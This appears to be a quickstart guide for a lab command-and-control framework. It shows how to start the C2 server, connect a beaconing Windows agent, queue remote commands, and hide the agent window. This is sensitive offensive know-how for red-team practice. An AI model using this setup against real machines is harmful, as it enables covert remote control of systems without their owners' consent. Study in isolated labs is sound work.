Skip to main content

Documentation Index

Fetch the complete documentation index at: https://mintlify.com/Menelaus29/c2-framework/llms.txt

Use this file to discover all available pages before exploring further.

This guide walks through starting the C2 server and establishing your first agent connection in minutes.
Before starting, ensure you’ve completed:

Choose Deployment Method

The C2 Framework supports two deployment modes:
MethodUse CaseComplexityFeatures
Bare-MetalDevelopment, debugging, testingSimpleDirect FastAPI/uvicorn, exposed ports
Docker ComposeProduction-like, reverse proxy testingModerateNginx frontend, user-agent filtering, isolated network

Option 1: Bare-Metal Deployment

Step 1: Configure for Bare-Metal

Edit common/config.py:
# Network
SERVER_HOST  = 'c2.lab.internal'
SERVER_PORT  = 8443  # Direct uvicorn port
BACKEND_PORT = 8443
BEHIND_NGINX = False  # Important: Set to False

Step 2: Start the Server

1

Activate Virtual Environment

cd ~/c2-framework
source venv/bin/activate
2

Set Lab Mode Environment Variable

export LAB_MODE=1
The server will not start without LAB_MODE=1. This safety mechanism prevents accidental deployment outside isolated labs.
3

Launch the Server

python -m server.server_main
Expected output:
INFO:     Started server process [12345]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
INFO:     Uvicorn running on https://0.0.0.0:8443 (Press CTRL+C to quit)
4

Verify Server is Running

From another terminal:
# Check listening port
ss -tlnp | grep 8443

# Test TLS handshake
curl -k https://c2.lab.internal:8443/beacon
You should see a connection, even if it returns an error (agent authentication required).

Step 3: Configure and Run the Agent

1

Copy Certificate to Windows VM

On Ubuntu VM:
# Start Python HTTP server to transfer cert
cd ~/c2-framework/certs
python3 -m http.server 8000
On Windows VM (PowerShell):
# Download certificate
Invoke-WebRequest -Uri http://192.168.100.10:8000/server.crt -OutFile C:\Users\$env:USERNAME\certs\server.crt

# Verify download
Get-Content C:\Users\$env:USERNAME\certs\server.crt
Stop the HTTP server on Ubuntu (Ctrl+C).
2

Update Agent Configuration

On the Windows VM, edit common/config.py:
# Network
SERVER_HOST = 'c2.lab.internal'
SERVER_PORT = 8443  # Match server port

# TLS
TLS_CERT_PATH = r'C:\Users\<username>\certs\server.crt'

# Use the same PRE_SHARED_KEY as the server
PRE_SHARED_KEY = b'\x8a\x3f...'  # Copy from server config
3

Launch the Agent

On Windows VM (PowerShell as Administrator):
cd C:\Users\<username>\c2-framework

# Set lab mode
$env:LAB_MODE = "1"

# Run agent
python -m agent.agent_main
Expected output:
INFO: Environment checks passed
INFO: Beacon interval: 30s (±20% jitter)
INFO: Checking in with c2.lab.internal:8443
INFO: Checkin successful, session_id: abc123...
INFO: Beacon loop started

Step 4: Interact with the Agent

1

List Active Sessions

On the Ubuntu VM, open a new terminal:
cd ~/c2-framework
source venv/bin/activate
python -m server.cli sessions
Example output:
SESSION_ID          | HOSTNAME    | USERNAME | LAST_SEEN
abc123def456789... | WIN-VICTIM  | user     | 2026-03-11 14:32:10
2

Queue a Command

python -m server.cli task add <session_id> "whoami"
The agent will pull the task on its next beacon (within ~30 seconds).
3

Retrieve Command Results

python -m server.cli task results <session_id>
Example output:
TASK_ID | COMMAND | STATUS    | STDOUT
1       | whoami  | completed | WIN-VICTIM\user

Option 2: Docker Compose Deployment

Step 1: Configure for Docker

Edit common/config.py:
# Network
SERVER_HOST  = 'c2.lab.internal'
SERVER_PORT  = 443  # Nginx frontend port
BACKEND_PORT = 8443
BEHIND_NGINX is automatically set via Docker Compose environment variables. No manual config change needed.

Step 2: Start the Stack

1

Build and Launch Containers

cd ~/c2-framework
docker-compose up --build -d
This builds and starts:
  • c2-server (FastAPI on internal port 8443)
  • c2-nginx (Nginx on host ports 80, 443)
2

Verify Containers are Running

docker-compose ps
Expected output:
NAME        IMAGE            STATUS    PORTS
c2-server   c2-server:latest Up        (internal 8443)
c2-nginx    c2-nginx:latest  Up        0.0.0.0:80->80/tcp, 0.0.0.0:443->443/tcp
3

Check Server Logs

docker-compose logs -f c2-server
Look for:
INFO: server started port=443
INFO: Application startup complete

Step 3: Run the Agent

Agent configuration is identical to bare-metal, but use port 443:
# common/config.py on Windows VM
SERVER_HOST = 'c2.lab.internal'
SERVER_PORT = 443  # Nginx frontend
Launch the agent:
$env:LAB_MODE = "1"
python -m agent.agent_main

Step 4: Interact via Docker

1

Access CLI Inside Container

docker-compose exec c2-server python -m server.cli sessions
2

Queue Commands

docker-compose exec c2-server python -m server.cli task add <session_id> "ipconfig /all"
3

View Logs and Database

Logs and database persist on the host:
ls -l logs/
# c2_server.db - SQLite database
# server.log   - Application logs

Docker Architecture

The Docker deployment uses an internal network:
Windows VM (192.168.100.20)
        |
        | HTTPS :443 (c2.lab.internal)
        v
┌───────────────────────────────────────┐
│ Ubuntu VM (192.168.100.10)            │
│                                       │
│  ┌─────────────────────────────────┐ │
│  │ c2-nginx container              │ │
│  │ - TLS termination               │ │
│  │ - User-Agent filtering          │ │
│  │ - Port 80 → 443 redirect        │ │
│  └──────────┬──────────────────────┘ │
│             │                         │
│             | HTTP :8443              │
│             | (c2-internal network)   │
│             v                         │
│  ┌─────────────────────────────────┐ │
│  │ c2-server container             │ │
│  │ - FastAPI application           │ │
│  │ - Session management            │ │
│  │ - Command queue                 │ │
│  └──────────┬──────────────────────┘ │
│             │                         │
│             v                         │
│  logs/c2_server.db (bind mount)     │
│                                       │
└───────────────────────────────────────┘
Key Points:
  • Port 8443 is not exposed to the host - only reachable by Nginx
  • Nginx performs TLS termination and forwards plain HTTP to the backend
  • Agent connects to port 443 (Nginx), not 8443
  • Database and logs persist outside containers via bind mounts

Common Commands

Server Management

# Start server
export LAB_MODE=1
python -m server.server_main

# Stop server
# Press Ctrl+C

# View logs
tail -f logs/server.log

# Check database
sqlite3 logs/c2_server.db "SELECT * FROM sessions;"

Agent Management

# Start agent
$env:LAB_MODE = "1"
python -m agent.agent_main

# Stop agent
# Press Ctrl+C

# Run in background (optional)
Start-Process python -ArgumentList "-m", "agent.agent_main" -WindowStyle Hidden

CLI Operations

# List all sessions
python -m server.cli sessions

# Show session details
python -m server.cli session <session_id>

# Queue task
python -m server.cli task add <session_id> "<command>"

# View task results
python -m server.cli task results <session_id>

# Clear old sessions
python -m server.cli sessions prune --older-than 7d

Verification Checklist

After completing the quickstart, verify:
  • Server starts without errors (check logs for INFO: Application startup complete)
  • Agent successfully checks in (look for session_id in agent output)
  • Agent appears in sessions command output
  • Queued task executes within beacon interval
  • Task results are retrievable via CLI
  • TLS certificate is pinned correctly (no SSL errors in agent logs)
  • Database file created: logs/c2_server.db

Next Steps

Now that you have a working C2 setup:
  1. Architecture - Understand the system design
  2. Protocol - Learn the beacon protocol
  3. Server API - Explore server internals
  4. Agent API - Explore agent internals
  5. Operational Guide - Advanced session management

Troubleshooting

Server Won’t Start

Error: LAB_MODE environment variable not set
# Solution: Export LAB_MODE
export LAB_MODE=1
python -m server.server_main
Error: Address already in use
# Check what's using the port
sudo ss -tlnp | grep 8443

# Kill the process or use a different port

Agent Can’t Connect

Error: SSL: CERTIFICATE_VERIFY_FAILED
  • Verify TLS_CERT_PATH points to the correct certificate location
  • Ensure certificate CN matches SERVER_HOST
  • Check certificate is not expired: openssl x509 -in server.crt -noout -dates
Error: Connection refused
  • Verify server is running: ss -tlnp | grep 8443 (bare-metal) or docker-compose ps
  • Test connectivity: ping c2.lab.internal
  • Check Windows firewall isn’t blocking outbound connections
Error: Pre-shared key mismatch
  • Ensure PRE_SHARED_KEY is identical in server and agent config.py
  • Key must be exactly 32 bytes

Docker Issues

Error: Cannot connect to Docker daemon
# Add user to docker group
sudo usermod -aG docker $USER
# Log out and log back in
Error: Port 443 already in use
# Check what's using port 443
sudo ss -tlnp | grep 443

# Stop conflicting service (e.g., Apache)
sudo systemctl stop apache2

No Beacon Activity

  • Check beacon interval: Default is 30 seconds (±20% jitter)
  • Verify agent is still running (check Task Manager)
  • Check agent logs for errors
  • Ensure system clock is synchronized between VMs